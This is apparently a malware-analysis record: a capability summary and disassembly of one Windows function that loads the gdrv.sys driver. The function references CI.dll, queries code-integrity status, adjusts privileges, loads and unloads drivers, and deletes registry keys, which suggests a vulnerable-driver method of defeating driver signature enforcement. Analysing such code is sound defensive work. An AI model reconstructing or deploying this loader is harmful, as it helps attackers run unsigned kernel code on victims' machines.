Function at 0x140001c20
Capabilities:
Access peb ldr_data
Delete registry key
Get system information on windows
Get windows directory from kuser_shared_data
Install driver
Unload driver

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x600]
sub rsp, 0x700
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x5f0], rax
mov eax, dword [0x1400043c0]
lea r8, str._lsSystem32_hs
movsd xmm0, qword [0x1400043b8]
mov r15, rdx
mov dword [rbp - 0x48], eax
lea rdx, [rbp - 0x50]
movzx eax, byte [0x1400043c4]
xor edi, edi
mov byte [rbp - 0x44], al
mov esi, 0x23f0
mov eax, dword [str.CI.dll]
mov r9d, 0x7ffe0030
mov dword [rbp - 0x58], eax
mov r14d, edi
movzx eax, word [0x1400043cc]
mov word [rbp - 0x54], ax
movzx eax, byte [0x1400043ce]
mov byte [rbp - 0x52], al
movsd qword [rbp - 0x50], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
lea rax, [rbp - 0x58]
cmp word [rcx + 0x120], si
lea rcx, [rbp - 0x40]
cmovb rax, rdx
mov edx, 0x82
mov qword [rsp + 0x20], rax
call fcn.1400013b0
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x48]
lea rcx, [rbp - 0x40]
call fcn.140001070
mov ebx, eax
test eax, eax
js 0x140002006
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp word [rcx + 0x120], si
jb 0x140001d5b
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x58]
call fcn.140001410
mov ebx, eax
test eax, eax
js 0x140001df2
mov rsi, qword [rsp + 0x48]
lea r8, [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rcx, rsi
call fcn.1400015e0
test eax, eax
je 0x140001d51
mov r14, qword [rsp + 0x38]
mov ebx, edi
jmp 0x140001df7
mov ebx, 0xc0000225
jmp 0x140001df7
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x50]
call fcn.140001410
mov ebx, eax
test eax, eax
js 0x140001df2
mov r11, qword [rsp + 0x70]
mov r10, rdi
mov rsi, qword [rsp + 0x48]
mov r9, rdi
test r11, r11
je 0x140001d51
lea rbx, [0x1400044f4]
nop
mov r8, r9
mov edx, edi
sub r8, rbx
mov rax, rbx
add r8, rsi
nop
movzx ecx, byte [rax]
cmp byte [r8 + rax], cl
je 0x140001dad
test cl, cl
jne 0x140001dee
inc edx
inc rax
cmp edx, 4
jb 0x140001da0
mov cl, 1
test cl, cl
mov rax, r9
cmove rax, r10
inc r9
mov r10, rax
cmp r9, r11
jb 0x140001d90
test rax, rax
je 0x140001d51
movsxd rcx, dword [rax + rsi + 4]
mov ebx, edi
mov r14, qword [rsp + 0x38]
add rcx, rax
add r14, 8
add r14, rcx
jmp 0x140001df7
xor cl, cl
jmp 0x140001db9
mov rsi, qword [rsp + 0x48]
mov rdx, rsi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
test ebx, ebx
js 0x140002006
xor r8d, r8d
lea r9, [rsp + 0x50]
mov dl, 1
lea ecx, [r8 + 0xa]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
test eax, eax
js 0x140002008
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, [rbp + 0x3e0]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x140002008
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, [rbp + 0x1d0]
mov edx, 0x208
mov rcx, r15
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x140002008
lea rdx, [rbp + 0x1d0]
lea rcx, [0x14000cea0]
call fcn.140001880
test eax, eax
js 0x140002008
xor r9d, r9d
mov qword [rsp + 0x58], 8
lea rdx, [rsp + 0x58]
lea r8d, [r9 + 8]
lea ecx, [r9 + 0x67]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov eax, dword [rsp + 0x5c]
and al, 3
cmp al, 1
je 0x140001edf
lea rdx, [0x14000cea0]
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
jmp 0x140002008
lea rdx, [rbp + 0x3e0]
lea rcx, [0x14000d0b0]
call fcn.140001880
test eax, eax
js 0x140002008
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, r14
call fcn.140001990
mov ebx, eax
test eax, eax
js 0x140001fd5
lea rdx, [0x14000cea0]
lea rcx, [rsp + 0x78]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x78]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
cmp eax, 0xc000010e
jne 0x140001f72
lea rdx, [0x14000cea0]
lea rcx, [rbp - 0x78]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp - 0x78]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
test eax, eax
js 0x140001f72
lea rdx, [0x14000cea0]
lea rcx, [rbp - 0x68]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp - 0x68]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov r8d, dword [rsp + 0x30]
xor r9d, r9d
mov rdx, r14
call fcn.140001990
lea rdx, [0x14000d0b0]
mov ebx, eax
lea rcx, [rsp + 0x60]
test eax, eax
jns 0x140001fbb
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
lea rdx, [0x14000d0d4]
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
jmp 0x140001feb
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
lea rdx, [0x14000d0d4]
jmp 0x140001fdc
lea rdx, [0x14000cec4]
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
mov edi, ebx
movzx edx, byte [rsp + 0x50]
lea r9, [rsp + 0x50]
xor r8d, r8d
lea ecx, [r8 + 0xa]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov eax, edi
jmp 0x140002008
mov eax, ebx
mov rcx, qword [rbp + 0x5f0]
xor rcx, rsp
call fcn.1400022d0
lea r11, [rsp + 0x700]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret